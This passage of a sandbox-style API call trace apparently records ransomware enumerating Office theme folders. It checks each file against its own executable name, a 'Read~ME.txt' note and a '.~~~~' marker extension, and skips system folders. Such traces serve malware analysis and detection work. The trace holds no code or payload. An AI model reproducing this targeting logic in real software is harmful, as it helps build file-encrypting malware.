	[0077.756] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.756] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE", lpString2="C:\\System Volume Information") returned -1
	[0077.757] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\DEEPBLUE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.822] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.822] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.822] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.822] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.822] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.822] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6073a7d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.822] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.823] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.823] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.823] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.823] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.823] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.823] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf641f700, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf641f700, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x116dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.ELM", cAlternateFileName="")) returned 1
	[0077.823] lstrcmpiW (lpString1="DEEPBLUE.ELM", lpString2="Windows") returned -1
	[0077.823] lstrcmpW (lpString1="DEEPBLUE.ELM", lpString2="oiikyy.exe") returned -1
	[0077.823] StrStrW (lpFirst="DEEPBLUE.ELM", lpSrch=".~~~~") returned 0x0
	[0077.823] lstrcmpW (lpString1="DEEPBLUE.ELM", lpString2="Read~ME.txt") returned -1
	[0077.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.823] GetCurrentThreadId () returned 0x618
	[0077.823] RtlWakeConditionVariable () returned 0x365f48
	[0077.823] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6073a7d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x239, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEEPBLUE.INF", cAlternateFileName="")) returned 1
	[0077.823] lstrcmpiW (lpString1="DEEPBLUE.INF", lpString2="Windows") returned -1
	[0077.823] lstrcmpW (lpString1="DEEPBLUE.INF", lpString2="oiikyy.exe") returned -1
	[0077.823] StrStrW (lpFirst="DEEPBLUE.INF", lpSrch=".~~~~") returned 0x0
	[0077.823] lstrcmpW (lpString1="DEEPBLUE.INF", lpString2="Read~ME.txt") returned -1
	[0077.823] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.823] GetCurrentThreadId () returned 0x618
	[0077.823] RtlWakeConditionVariable () returned 0x365f48
	[0077.824] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0xf75, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.824] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.824] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.824] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.824] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.824] GetCurrentThreadId () returned 0x618
	[0077.824] RtlWakeConditionVariable () returned 0x365f48
	[0077.824] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.824] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.824] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.824] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.824] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.824] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.824] GetCurrentThreadId () returned 0x618
	[0077.824] RtlWakeConditionVariable () returned 0x365f48
	[0077.824] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x81fd, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.824] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.825] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.825] GetCurrentThreadId () returned 0x618
	[0077.825] RtlWakeConditionVariable () returned 0x365f48
	[0077.826] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO", cAlternateFileName="")) returned 1
	[0077.827] lstrcmpiW (lpString1="ECHO", lpString2="Windows") returned -1
	[0077.827] lstrcmpW (lpString1="ECHO", lpString2=".") returned 1
	[0077.827] lstrcmpW (lpString1="ECHO", lpString2="..") returned 1
	[0077.827] lstrcmpW (lpString1="ECHO", lpString2="AppData") returned 1
	[0077.827] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO", lpSrch="AppData") returned 0x0
	[0077.827] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.827] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO", lpString2="C:\\Windows") returned -1
	[0077.827] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.827] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO", lpString2="C:\\System Volume Information") returned -1
	[0077.827] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.827] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECHO\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.829] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.829] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.829] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.829] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.829] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.829] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a6f8e30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60891430, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.829] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.829] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.829] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.830] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.830] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.830] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.830] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8a45100, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x60891430, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8a45100, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0xb0ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.ELM", cAlternateFileName="")) returned 1
	[0077.830] lstrcmpiW (lpString1="ECHO.ELM", lpString2="Windows") returned -1
	[0077.830] lstrcmpW (lpString1="ECHO.ELM", lpString2="oiikyy.exe") returned -1
	[0077.830] StrStrW (lpFirst="ECHO.ELM", lpSrch=".~~~~") returned 0x0
	[0077.830] lstrcmpW (lpString1="ECHO.ELM", lpString2="Read~ME.txt") returned -1
	[0077.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.830] GetCurrentThreadId () returned 0x618
	[0077.830] RtlWakeConditionVariable () returned 0x365f48
	[0077.830] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x1f7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECHO.INF", cAlternateFileName="")) returned 1
	[0077.830] lstrcmpiW (lpString1="ECHO.INF", lpString2="Windows") returned -1
	[0077.830] lstrcmpW (lpString1="ECHO.INF", lpString2="oiikyy.exe") returned -1
	[0077.830] StrStrW (lpFirst="ECHO.INF", lpSrch=".~~~~") returned 0x0
	[0077.830] lstrcmpW (lpString1="ECHO.INF", lpString2="Read~ME.txt") returned -1
	[0077.830] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.830] GetCurrentThreadId () returned 0x618
	[0077.830] RtlWakeConditionVariable () returned 0x365f48
	[0077.830] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5a6f8e30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x5ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.831] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.831] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.831] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.831] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.831] GetCurrentThreadId () returned 0x618
	[0077.831] RtlWakeConditionVariable () returned 0x365f48
	[0077.831] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.831] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.831] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.831] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.831] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.831] GetCurrentThreadId () returned 0x618
	[0077.831] RtlWakeConditionVariable () returned 0x365f48
	[0077.831] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad12690, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x6212, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.831] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.831] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.831] GetCurrentThreadId () returned 0x618
	[0077.832] RtlWakeConditionVariable () returned 0x365f48
	[0077.832] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE", cAlternateFileName="")) returned 1
	[0077.832] lstrcmpiW (lpString1="ECLIPSE", lpString2="Windows") returned -1
	[0077.832] lstrcmpW (lpString1="ECLIPSE", lpString2=".") returned 1
	[0077.832] lstrcmpW (lpString1="ECLIPSE", lpString2="..") returned 1
	[0077.832] lstrcmpW (lpString1="ECLIPSE", lpString2="AppData") returned 1
	[0077.832] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE", lpSrch="AppData") returned 0x0
	[0077.832] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.832] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE", lpString2="C:\\Windows") returned -1
	[0077.832] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.832] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE", lpString2="C:\\System Volume Information") returned -1
	[0077.832] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
	[0077.832] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\ECLIPSE\\*", lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x37a888
	[0077.835] lstrcmpiW (lpString1=".", lpString2="Windows") returned -1
	[0077.835] lstrcmpW (lpString1=".", lpString2=".") returned 0
	[0077.835] lstrcmpW (lpString1=".", lpString2="oiikyy.exe") returned -1
	[0077.835] StrStrW (lpFirst=".", lpSrch=".~~~~") returned 0x0
	[0077.835] lstrcmpW (lpString1=".", lpString2="Read~ME.txt") returned -1
	[0077.835] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e3fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d05ead0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0077.835] lstrcmpiW (lpString1="..", lpString2="Windows") returned -1
	[0077.835] lstrcmpW (lpString1="..", lpString2=".") returned 1
	[0077.835] lstrcmpW (lpString1="..", lpString2="..") returned 0
	[0077.835] lstrcmpW (lpString1="..", lpString2="oiikyy.exe") returned -1
	[0077.835] StrStrW (lpFirst="..", lpSrch=".~~~~") returned 0x0
	[0077.835] lstrcmpW (lpString1="..", lpString2="Read~ME.txt") returned -1
	[0077.835] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9d57e00, ftCreationTime.dwHighDateTime=0x1cab7f1, ftLastAccessTime.dwLowDateTime=0x51eb22b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9d57e00, ftLastWriteTime.dwHighDateTime=0x1cab7f1, nFileSizeHigh=0x0, nFileSizeLow=0x1cf31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.ELM", cAlternateFileName="")) returned 1
	[0077.835] lstrcmpiW (lpString1="ECLIPSE.ELM", lpString2="Windows") returned -1
	[0077.835] lstrcmpW (lpString1="ECLIPSE.ELM", lpString2="oiikyy.exe") returned -1
	[0077.835] StrStrW (lpFirst="ECLIPSE.ELM", lpSrch=".~~~~") returned 0x0
	[0077.835] lstrcmpW (lpString1="ECLIPSE.ELM", lpString2="Read~ME.txt") returned -1
	[0077.835] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.835] GetCurrentThreadId () returned 0x618
	[0077.836] RtlWakeConditionVariable () returned 0x365f48
	[0077.836] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x608b7590, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x253, dwReserved0=0x0, dwReserved1=0x0, cFileName="ECLIPSE.INF", cAlternateFileName="")) returned 1
	[0077.836] lstrcmpiW (lpString1="ECLIPSE.INF", lpString2="Windows") returned -1
	[0077.836] lstrcmpW (lpString1="ECLIPSE.INF", lpString2="oiikyy.exe") returned -1
	[0077.836] StrStrW (lpFirst="ECLIPSE.INF", lpSrch=".~~~~") returned 0x0
	[0077.836] lstrcmpW (lpString1="ECLIPSE.INF", lpString2="Read~ME.txt") returned -1
	[0077.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.836] GetCurrentThreadId () returned 0x618
	[0077.836] RtlWakeConditionVariable () returned 0x365f48
	[0077.836] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1
	[0077.836] lstrcmpiW (lpString1="PREVIEW.GIF", lpString2="Windows") returned -1
	[0077.836] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="oiikyy.exe") returned 1
	[0077.836] StrStrW (lpFirst="PREVIEW.GIF", lpSrch=".~~~~") returned 0x0
	[0077.836] lstrcmpW (lpString1="PREVIEW.GIF", lpString2="Read~ME.txt") returned -1
	[0077.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.836] GetCurrentThreadId () returned 0x618
	[0077.836] RtlWakeConditionVariable () returned 0x365f48
	[0077.836] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 1
	[0077.836] lstrcmpiW (lpString1="THMBNAIL.PNG", lpString2="Windows") returned -1
	[0077.836] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="oiikyy.exe") returned 1
	[0077.836] StrStrW (lpFirst="THMBNAIL.PNG", lpSrch=".~~~~") returned 0x0
	[0077.836] lstrcmpW (lpString1="THMBNAIL.PNG", lpString2="Read~ME.txt") returned 1
	[0077.836] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xb0) returned 0x3a5018
	[0077.837] GetCurrentThreadId () returned 0x618
	[0077.837] RtlWakeConditionVariable () returned 0x365f48
	[0077.837] FindNextFileW (in: hFindFile=0x37a888, lpFindFileData=0x27defa4 | out: lpFindFileData=0x27defa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x5ad387f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x7e93, dwReserved0=0x0, dwReserved1=0x0, cFileName="THMBNAIL.PNG", cAlternateFileName="")) returned 0
	[0077.837] FindClose (in: hFindFile=0x37a888 | out: hFindFile=0x37a888) returned 1
	[0077.837] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x3e7450
	[0077.837] GetCurrentThreadId () returned 0x618
	[0077.837] RtlWakeConditionVariable () returned 0x365f48
	[0077.838] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51f70990, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d462ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d462ff0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDGE", cAlternateFileName="")) returned 1
	[0077.838] lstrcmpiW (lpString1="EDGE", lpString2="Windows") returned -1
	[0077.838] lstrcmpW (lpString1="EDGE", lpString2=".") returned 1
	[0077.838] lstrcmpW (lpString1="EDGE", lpString2="..") returned 1
	[0077.838] lstrcmpW (lpString1="EDGE", lpString2="AppData") returned 1
	[0077.838] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE", lpSrch="AppData") returned 0x0
	[0077.838] lstrlenW (lpString="C:\\Windows") returned 10
	[0077.838] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE", lpString2="C:\\Windows") returned -1
	[0077.838] lstrlenW (lpString="C:\\System Volume Information") returned 28
	[0077.838] lstrcmpiW (lpString1="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\EDGE", lpString2="C:\\System Volume Information") returned -1
	[0077.838] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xfffe) returned 0x3d26e8
